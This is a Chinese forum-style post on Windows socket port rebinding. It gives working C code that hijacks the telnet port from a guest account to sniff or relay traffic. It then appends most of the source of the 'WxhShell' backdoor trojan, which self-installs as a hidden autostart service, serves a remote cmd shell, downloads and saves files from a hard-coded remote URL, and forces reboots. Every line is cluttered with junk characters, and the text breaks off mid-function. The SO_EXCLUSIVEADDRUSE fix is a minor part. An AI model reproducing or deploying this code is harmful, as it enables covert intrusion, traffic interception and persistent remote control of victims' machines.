在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
v@# b}N0n s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
HYmn:?H LkQX?2>] saddr.sin_family = AF_INET;
O9:U8$* Ali9pvE saddr.sin_addr.s_addr = htonl(INADDR_ANY);
y!]CJigpZ ExRe:^yU\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
?k(\ApVHj epgPT'^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
sUPz/Z.h @?"h
!fyu 这意味着什么?意味着可以进行如下的攻击:
KN-avu_Ix mS0udHod 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}`+B=h-dW ``E/m<r:$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
}<'5 z
qS F5o+kz$; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
TwgrRtj' XkyKBg- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
IUtx!.]4 "--t e 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
>3&O::]3 d|4}obCt 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
`O'`eY1f 3MRc4UlB 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Y3O#Q)-j$ -kbg\,PW #include
[LRLJ_~g5 #include
/a6Xa&(B #include
'}Ri` #include
eilYA_FL. DWORD WINAPI ClientThread(LPVOID lpParam);
n[(Qr9 int main()
+>4;Z d!@d {
O`vTnrY WORD wVersionRequested;
Zkf0p9h\ DWORD ret;
DfKr[cqLM WSADATA wsaData;
FN[{s BOOL val;
yeHDa+} SOCKADDR_IN saddr;
VWO9=A*Y| SOCKADDR_IN scaddr;
o: ;"w"G int err;
0
Us5 SOCKET s;
zz& ?{vJ SOCKET sc;
cYqfsd# B int caddsize;
H8"@iE, HANDLE mt;
v%ioj0, DWORD tid;
3N_"rNKD wVersionRequested = MAKEWORD( 2, 2 );
Bp@v,)8* err = WSAStartup( wVersionRequested, &wsaData );
a+Ac[> if ( err != 0 ) {
wg w(YU printf("error!WSAStartup failed!\n");
'R_g">B. return -1;
4Fm90O }
NB<A>baL* saddr.sin_family = AF_INET;
q/n,,! Z>
r^SWL //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
5#K4bA %AQIGBcgL saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
$1v&azM. saddr.sin_port = htons(23);
J(6oL if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i'\T R|qd {
u7=U^}# printf("error!socket failed!\n");
[}&Sxgv return -1;
AFAAuFE" }
Xn{1 FJX/ val = TRUE;
$LU"?aAW //SO_REUSEADDR选项就是可以实现端口重绑定的
v,ju!I0. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
F+u|HiYG {
,{c?ym w? printf("error!setsockopt failed!\n");
>;[*!<pfK5 return -1;
Phke`3tth }
@*sWu_-Y% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=%/)m:f!^ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
YIjTL!bA" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
L`24?Y{ J_;o|gqX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
? YG)I;( {
o]opdw ret=GetLastError();
rEF0oJ. printf("error!bind failed!\n");
7a~X:# return -1;
Hhh0T>gi }
KRA/MQ^7~U listen(s,2);
_F`lq_C while(1)
bcYF\@}; {
[ 1u-Q%?# caddsize = sizeof(scaddr);
Gn&4V}F //接受连接请求
!@v7Zu43, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
@mfEKU! if(sc!=INVALID_SOCKET)
ynrT a.. {
^U!0-y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
4F{70"a if(mt==NULL)
yNTK . {
ej"+:."\e printf("Thread Creat Failed!\n");
0vw4?>Jf@ break;
VTH>
o>g }
r
>nG@A }
gN"7be&J CloseHandle(mt);
.p(T^ m2A* }
is-7
j7; closesocket(s);
*I0T{~ WSACleanup();
hyFyP\u] return 0;
z5YWt*nm }
-jiG7OL DWORD WINAPI ClientThread(LPVOID lpParam)
OtNd,U.dE {
1 9CK+;b SOCKET ss = (SOCKET)lpParam;
n<u
$=H SOCKET sc;
X)% A6M unsigned char buf[4096];
[D4Es SOCKADDR_IN saddr;
>j QWn@ long num;
J7g8D{4 DWORD val;
\QCJ4}\CS DWORD ret;
.yEBOMNZ //如果是隐藏端口应用的话,可以在此处加一些判断
7yh/BZ1 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
aSnFKB saddr.sin_family = AF_INET;
eYvWZJa4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
55fC~J< saddr.sin_port = htons(23);
#}y2)g if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
sdo[D {
uwy:t!(j printf("error!socket failed!\n");
<Pi|J-Y return -1;
_+E5T*dk }
ilqy/fL# val = 100;
(:>,u*x% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Bn &Ws {
q1KZ5G)6GJ ret = GetLastError();
\}|o1Xh2 return -1;
Sxh]R+Xb }
Iepsz if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
jJPGrkr {
4.5|2\[ ret = GetLastError();
~S,,w1` return -1;
#^ A* }
c$yk s if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
CTZ8Da^ {
O*FUTZd( J printf("error!socket connect failed!\n");
7x%R:^*4 closesocket(sc);
LHo3
Niy. closesocket(ss);
g0["^P1tV return -1;
:BV6y|J9O^ }
B e0ND2oo while(1)
_dhgAx-H)h {
9j6QX~, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)O@]uY //如果是嗅探内容的话,可以再此处进行内容分析和记录
S;286[oq@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
z)r=+ - num = recv(ss,buf,4096,0);
E;R n`oxk if(num>0)
/~$WUAh send(sc,buf,num,0);
abfW[J else if(num==0)
/Y2}a<3&0 break;
U ^5Kz-5. num = recv(sc,buf,4096,0);
_ =VqrK7T if(num>0)
J`].:IOh send(ss,buf,num,0);
oUQ,61H else if(num==0)
^Xq 6: break;
%UERc{~o*, }
e9U9Uu[ closesocket(ss);
?Yth0O6?sb closesocket(sc);
Ku}Z return 0 ;
^<a
t'jk6 }
gL*>[@RO _8F`cuyW q%"VYt4 ==========================================================
st:`y=F_ D!Pq4'd( 下边附上一个代码,,WXhSHELL
0vD7v S]Mw#O| ==========================================================
]rH\`0 MS
81sN\d #include "stdafx.h"
9Hb6nm tne ST. #include <stdio.h>
L"1}V #include <string.h>
/)}q Xx& #include <windows.h>
($; 77fPR #include <winsock2.h>
afuOeZP #include <winsvc.h>
.yqM7U_ #include <urlmon.h>
f=r<nb'H -~v2BN/ #pragma comment (lib, "Ws2_32.lib")
R\G0'?h
> #pragma comment (lib, "urlmon.lib")
bU2Z[sn. ][+#;avU #define MAX_USER 100 // 最大客户端连接数
5A3xVN= #define BUF_SOCK 200 // sock buffer
26I_YL,S #define KEY_BUFF 255 // 输入 buffer
W_\5nF c|B.n]Z #define REBOOT 0 // 重启
!h23cj+V #define SHUTDOWN 1 // 关机
xy/`ZS2WPq {E9+WFz5 #define DEF_PORT 5000 // 监听端口
mpU$+ ,*&:2o_r #define REG_LEN 16 // 注册表键长度
_u5#v0Y #define SVC_LEN 80 // NT服务名长度
$0>60<J :toh0oB[ // 从dll定义API
K}buH\yco typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
T?tgdJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#~2%) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7byK{{/z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Cz\ew B _/-jX // wxhshell配置信息
g(qJN<RC/ struct WSCFG {
jHE}qE~>5 int ws_port; // 监听端口
"4+&-ms char ws_passstr[REG_LEN]; // 口令
jET{Le8i int ws_autoins; // 安装标记, 1=yes 0=no
hIs4@0 char ws_regname[REG_LEN]; // 注册表键名
-.u]GeMy char ws_svcname[REG_LEN]; // 服务名
:t8b39 char ws_svcdisp[SVC_LEN]; // 服务显示名
@"Fme-~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
j,lT>/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
S1Wj8P- int ws_downexe; // 下载执行标记, 1=yes 0=no
*`ua'"="k char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
n22zq6m char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)_syZ1j ; >hNt };
Tc> .w=/+TA // default Wxhshell configuration
r~jm`y struct WSCFG wscfg={DEF_PORT,
\E72L5nJW "xuhuanlingzhe",
AN8`7F1 1,
|:nOp(A\* "Wxhshell",
#~}nFY. "Wxhshell",
8<S~Z:JK "WxhShell Service",
oTU!R , "Wrsky Windows CmdShell Service",
r3&G)g=u "Please Input Your Password: ",
ZkRx1S"m 1,
rzhWw-GY "
http://www.wrsky.com/wxhshell.exe",
J%v=yBC2 "Wxhshell.exe"
+%T\`6 };
Ch&a/S} s C%&cRQD // 消息定义模块
ww\CQ6/h char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
vM*-D{ char *msg_ws_prompt="\n\r? for help\n\r#>";
y~AVei& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
VRWAm>u char *msg_ws_ext="\n\rExit.";
fHE<( char *msg_ws_end="\n\rQuit.";
*}F3M\ char *msg_ws_boot="\n\rReboot...";
b~KDP+Ri char *msg_ws_poff="\n\rShutdown...";
Q]Y*K char *msg_ws_down="\n\rSave to ";
q0i(i.h 8Wrh]egu1 char *msg_ws_err="\n\rErr!";
!;&p"E|b# char *msg_ws_ok="\n\rOK!";
R]}}$R`j ]i&6c char ExeFile[MAX_PATH];
.zA^)qgL int nUser = 0;
twL3\
}N/B HANDLE handles[MAX_USER];
<k eVrCR int OsIsNt;
nhB1D- gp};D SERVICE_STATUS serviceStatus;
8;b(0^ SERVICE_STATUS_HANDLE hServiceStatusHandle;
@Lpq~ 1eZB \\PjKAsh // 函数声明
$UMFNjL
int Install(void);
Ygm`ZA y int Uninstall(void);
eJF5n# int DownloadFile(char *sURL, SOCKET wsh);
8p^bD}lN7 int Boot(int flag);
>:A ARx% void HideProc(void);
XX7{-Yy int GetOsVer(void);
{@H6HqD int Wxhshell(SOCKET wsl);
yzbx . void TalkWithClient(void *cs);
CJ/X}hi, int CmdShell(SOCKET sock);
x5,++7Tz int StartFromService(void);
9_# >aOqL int StartWxhshell(LPSTR lpCmdLine);
7`-Zuf J`peX0Stl VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3 R=,1< VOID WINAPI NTServiceHandler( DWORD fdwControl );
`YFtL 4x{0iav // 数据结构和表定义
~bM4[*Q7 SERVICE_TABLE_ENTRY DispatchTable[] =
wxR,OR {
0LPig[ {wscfg.ws_svcname, NTServiceMain},
3QV *% {NULL, NULL}
nHnK)9\ N };
$:=A'd2 7]U"Z* // 自我安装
h;C5hU4P int Install(void)
^ZvWR% {
WKts[Z char svExeFile[MAX_PATH];
*;l]8. HKEY key;
^nT/i
.#_ strcpy(svExeFile,ExeFile);
p#01gB 09X01X[ // 如果是win9x系统,修改注册表设为自启动
,V,`Jf if(!OsIsNt) {
^!<U_;+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l7XUXbYp&= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
03|PYk 6EW RegCloseKey(key);
\l'm[jy> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Lz`E;k^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\s/s7y6b+ RegCloseKey(key);
oiF}?:7Q7 return 0;
^ssK }
lW+\j3?Z$ }
:}Xll#.,m }
j| v%)A else {
5QW=&zI`= `_BNy=`s* // 如果是NT以上系统,安装为系统服务
fL_4uC i\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
wg7V-+@i if (schSCManager!=0)
zcel|oz) {
@GBxL*e SC_HANDLE schService = CreateService
(X $=Q6 (
WzPTFw[ schSCManager,
q
0$,*[PH wscfg.ws_svcname,
2QD3&Q9 wscfg.ws_svcdisp,
9i'jjN SERVICE_ALL_ACCESS,
;
o?-yI&T* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=[H;orMr SERVICE_AUTO_START,
6TQoqH8@U SERVICE_ERROR_NORMAL,
UR%/MV svExeFile,
?+_Gs;DGVE NULL,
txJr; NULL,
dU6ou'pf NULL,
,p4&g)o NULL,
2"0es40;0 NULL
7FzA* );
Of-Rx/ if (schService!=0)
t|H^`Cv6 {
cQ/5qg CloseServiceHandle(schService);
R{WE\T ' CloseServiceHandle(schSCManager);
9*2[B"5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
E.r>7`E strcat(svExeFile,wscfg.ws_svcname);
1_o],?Q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
fRrvNj0{V RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
w:%o?pKet1 RegCloseKey(key);
)2pbpbWX> return 0;
{J{+FFsr( }
V[{6e }
CpA|4'# CloseServiceHandle(schSCManager);
qS403+Su1= }
dq7x3v^"ZG }
yL%K4$z y-T| # return 1;
^M3~^lV }
)`SES." !Nu<xq@! // 自我卸载
?p9VO.^5 int Uninstall(void)
{!.(7wV\ {
VO,!x~S! HKEY key;
RS"H8P4W e>7]w,*| if(!OsIsNt) {
vGc,vjC3x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)'Oh`$M RegDeleteValue(key,wscfg.ws_regname);
$56Z#'(D RegCloseKey(key);
V_C-P[2~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
AjmVc]) RegDeleteValue(key,wscfg.ws_regname);
^@I RegCloseKey(key);
Ao&\E cIOT return 0;
G'rxXJq }
3;)>Fs; }
:}yi-/_8! }
@AKn@T5 else {
JIOh#VNU \ ,7f6: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
:l~ I if (schSCManager!=0)
<:(6EKJAq} {
3 j!3E SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
}XZ'v_Ti if (schService!=0)
iDN;m`a {
m$`RcwO if(DeleteService(schService)!=0) {
6Se?sHC> CloseServiceHandle(schService);
fXXr+Mor CloseServiceHandle(schSCManager);
*"R|4"uy return 0;
2Gz}T _e }
* 1T& CloseServiceHandle(schService);
-|kA)M[ }
TK5K_V*7 CloseServiceHandle(schSCManager);
j;%-fvd; }
oE<`VY| }
A3rPt&<a IN4=YrM^ return 1;
s4G|_== }
A:>01ZJ5S+ cmBB[pk\ // 从指定url下载文件
^:K3vC[h;c int DownloadFile(char *sURL, SOCKET wsh)
9)0D~oUi {
v$~QU{& HRESULT hr;
?;KKw* char seps[]= "/";
lwHzj&/ ~ char *token;
+)k b( char *file;
UUSq$~Ct char myURL[MAX_PATH];
u*e.yN char myFILE[MAX_PATH];
@L>q(Kg &/mA7Vf>eR strcpy(myURL,sURL);
nS/)P4z token=strtok(myURL,seps);
d1T,eJ} while(token!=NULL)
xHoKo {
W [Of|? file=token;
/rg*p token=strtok(NULL,seps);
]NjX?XdX< }
|w_7_J2 x6(~;J GetCurrentDirectory(MAX_PATH,myFILE);
t]>Lh>G strcat(myFILE, "\\");
&Q+Ln,(&L strcat(myFILE, file);
tDSJpW'd send(wsh,myFILE,strlen(myFILE),0);
(]b!{kS send(wsh,"...",3,0);
=fu
:@+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
w<zIAQN if(hr==S_OK)
Ks=>K(V6 return 0;
h lkn% else
W;_nK4$%' return 1;
q/4YS0CqE I*LknU@ }
el2bd
: umD!2
w // 系统电源模块
AP[|Ta int Boot(int flag)
%R@X>2l/_ {
7+]=- HANDLE hToken;
`^bgUmJ~ TOKEN_PRIVILEGES tkp;
D-8O+.@ %T X@I$Ba if(OsIsNt) {
A~Y^VEn OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
W)9K`hM6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
d_4T}%q tkp.PrivilegeCount = 1;
Vm%1> '& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
$P>`m$(8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
p+l !6 if(flag==REBOOT) {
ElS 9?Q+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
r~N"ere26 return 0;
)A!>=2M` }
(EK"V'; else {
ZaeqOVp/j if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
*_R]*o!W' return 0;
T;@;R% }
,$1eFgY% }
WtViW=j' else {
RMd[Yr2e if(flag==REBOOT) {
?dD&p8{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
h]og*( return 0;
4$qWiG~ }
ELBa}h; else {
,z3{u162 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
b|cyjDMAA return 0;
20vXSYa~ }
g) p,5BADm }
SxdE?uCUS (ohq0Y return 1;
lrnyk(M}Q. }
*F
?8c U"q/rcA // win9x进程隐藏模块
)E6;-rD0^+ void HideProc(void)
b`)){LR {
m_=$0m J$ ^dP KDrKxh HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*:>"q ej if ( hKernel != NULL )
mocI&=EF2X {
D@.tkzU@E pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
7h6,c /< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[QMu2 FreeLibrary(hKernel);
Sl-v W }
4Fp0ZVT &C_'p {G return;
AFc$%\s4 }
0TN;86Mo p[<Dk$7K // 获取操作系统版本
QFg sq{
int GetOsVer(void)
0GB:GBhZ {
=i_-F$pV OSVERSIONINFO winfo;
v3}L`dyh3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Hu.t 3:w GetVersionEx(&winfo);
Mr?Xp(.}G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
j6>.n49_ return 1;
.u:81I=w( else
G2t;DN( return 0;
(4'$y`Z }
P`#Z9 HM4 M&NB/ // 客户端句柄模块
BYs-V: int Wxhshell(SOCKET wsl)
c7tfRq
n+ {
zunV<2~(2} SOCKET wsh;
B*4}GPQ struct sockaddr_in client;
x%+aKZ(m) DWORD myID;
?_"+^R z j7sKsbb while(nUser<MAX_USER)
0G7K8`a {
u}!@ ,/) int nSize=sizeof(client);
'd+NVj{C wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
MS0Fl|YA if(wsh==INVALID_SOCKET) return 1;
dFH$l dDm):Z*`b handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
)\6&12rj if(handles[nUser]==0)
X5X?&* %{ closesocket(wsh);
OH5>vV'i else
Lb;zBmwB nUser++;
N@O8\oQG }
p"l3e9&'j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
3l3+A+n %=?cZfFqO return 0;
pY_s*0_ }
_Qh
z3'I1 ?T>'j mmV= // 关闭 socket
z;A>9vQ_J void CloseIt(SOCKET wsh)
Vs%|pIV {
QmLF[\Oo_ closesocket(wsh);
.A-]_98Z nUser--;
6U[4%( ExitThread(0);
;QW3CEaUq }
UlAzJO6" qZ}P*+`Q // 客户端请求句柄
?;vgUO void TalkWithClient(void *cs)
Mk=mT3=# {
C8vOE`U,J 4'-|UPhx SOCKET wsh=(SOCKET)cs;
OE4+GI.r- char pwd[SVC_LEN];
]8icBneA~' char cmd[KEY_BUFF];
|N}P(GF char chr[1];
H^.IY_I`U* int i,j;
6oLwfTy (9<guv while (nUser < MAX_USER) {
Pu"R,a K4]g[z if(wscfg.ws_passstr) {
hoQs
@[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+)j1.X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
hQ(qbt{e //ZeroMemory(pwd,KEY_BUFF);
jM$`(Y i=0;
1Wm)rXW[x while(i<SVC_LEN) {
Y$Q|J4z HsnLm67' // 设置超时
dn}` i fd_set FdRead;
x_c7R;C struct timeval TimeOut;
lW(px^&IN FD_ZERO(&FdRead);
;=<-5;rI FD_SET(wsh,&FdRead);
$<^u^q37u TimeOut.tv_sec=8;
"TUe%o TimeOut.tv_usec=0;
Wm);C~Le int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
:=8t"rO=W if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
}';D]c ,RgB$TcE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`5~ +,/Ys pwd
=chr[0]; zGc:
@z
if(chr[0]==0xd || chr[0]==0xa) { &Ch#-CUE/
pwd=0; `;l?12|X
break; WdZ:K,
} t=u
Qb=
i++; "Ae@lINn[y
} 59zENUYl
\MK*by
// 如果是非法用户,关闭 socket 549jWG
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,oNOC3U
} zCOgBT~p
hUD7_arKF
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zfc3)7
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f]G>(V=i
!^v5-xO?rP
while(1) { \=0Vuz
<`jLY)sw
ZeroMemory(cmd,KEY_BUFF); # [e
V\})3i8
// 自动支持客户端 telnet标准 0]D{Va
j=0; bJYda)
while(j<KEY_BUFF) { *dvDap|8W
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f+|$&p%
cmd[j]=chr[0]; h.!}3\Y
if(chr[0]==0xa || chr[0]==0xd) { H*bs31i{
cmd[j]=0; q~@]W=
break; 70lfb`
} Y!WG)u5
j++; nOQa_G]Gz
} 3SSm5{197
h Xb%;GL
// 下载文件 kPQtQh]y%
if(strstr(cmd,"http://")) { <,AS8^$X[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); dgDy5{_
if(DownloadFile(cmd,wsh)) McoK@q;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 16L]=&@
else 4QIE8f
Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *=fr8
} S}f?.7
else { =CL}
$_
1yV: qp
switch(cmd[0]) { wZ4tCZA
sz @p_Z/
// 帮助 }gkM^*$:%
case '?': { 6G}+gqbX
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ne$"g[uFU
break; bWZbG{Y.
} >|6iR%"f#
// 安装 {V1Pp;A
case 'i': { 4CQ"8k(S"
if(Install()) LTJc,3\,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ >^PRs
else 6l$L~>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -k(CJ5H9
break; 6{,HiY
} +[J/Zw0{
// 卸载 15$4&=O
case 'r': { cEe?*\G
if(Uninstall()) _/S?#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v+e|o:o#
else Y%|@R3[Nk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =<@\,xN>C
break; }tPk@$
}
@HBEt^!
// 显示 wxhshell 所在路径 &TG5rUUg
case 'p': { N$TL;T>
char svExeFile[MAX_PATH]; =`Y.=RL+'n
strcpy(svExeFile,"\n\r"); kkvtB<<Y
strcat(svExeFile,ExeFile); Xnuzr"4u
send(wsh,svExeFile,strlen(svExeFile),0); E42eOGp9i
break; ?R-9W+U%f
} 9_fePS|Z4
// 重启 $|$e%
case 'b': { FuX 8v
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H0a/(4/xg
if(Boot(REBOOT)) Y${l!+q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V@d)?T
else { d bS
+
closesocket(wsh); d7cg&9+
ExitThread(0); yMLOUUWa8x
} -ng=l;
break; 2X-l{n;>
} )'Wb&A'
// 关机 NZu)j["
case 'd': { ?zq+jLyo
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a;$P:C{gj?
if(Boot(SHUTDOWN)) aFY_:.o2k`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [oc~iDx%W
else { HNa]H;-+5
closesocket(wsh); }a&mY^
ExitThread(0); kW6%32
} {dPgf
break; 'mdM q=VI
} +VEU:1Gt
// 获取shell W[NEe,.>
case 's': { I~'*$l
CmdShell(wsh); lEPAP|~uw
closesocket(wsh); N0n^L|(R
ExitThread(0); ,]Zp+>{
break;
4ZT A>
} %'L;FPxB
// 退出 d0er^ ~
case 'x': { ly4Qg\l
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +c206.
CloseIt(wsh); H L<s@kEZ
break; S"snB/
} iO!6}yJ*V
// 离开 }xn_6
case 'q': { BOf1J1
send(wsh,msg_ws_end,strlen(msg_ws_end),0); qH%")7>
closesocket(wsh); K.>wQA&
WSACleanup(); :ipoD%@
exit(1); OIaYHA
break; |bZM/U=
} 5b#QYu
} (7$$;
} #Gv{UU$]
>tRHNB_
// 提示信息 ['X[qn
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]]iO- }
} MWWu@SY
} +6W(z3($
v%{0 Tyk
return; S;@ay/*~
} c5i%(!>
8KjRCm,I
// shell模块句柄 4\ $3
int CmdShell(SOCKET sock) (L69{n
{ *FgJ|y6gk
STARTUPINFO si; yFIIX=NC
ZeroMemory(&si,sizeof(si)); :.IN?X
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~I_owCVZ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =fG:A(v%}
PROCESS_INFORMATION ProcessInfo; -$4kBYC l+
char cmdline[]="cmd"; |KG&HNfP-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \SYvD y]
return 0; }Zl"9A#K
} -Wo15O"
*v #/Y9}
// 自身启动模式 z: G}>fk5
int StartFromService(void) G!-J$@P
{ {sc[RRN~C
typedef struct i2F(GH?p[
{ Gbb\h
DWORD ExitStatus; 9&jPp4qG
DWORD PebBaseAddress; fGu!M9qN4
DWORD AffinityMask; $p6N|p
DWORD BasePriority; E 5kF^P
ULONG UniqueProcessId; _PB@kH#
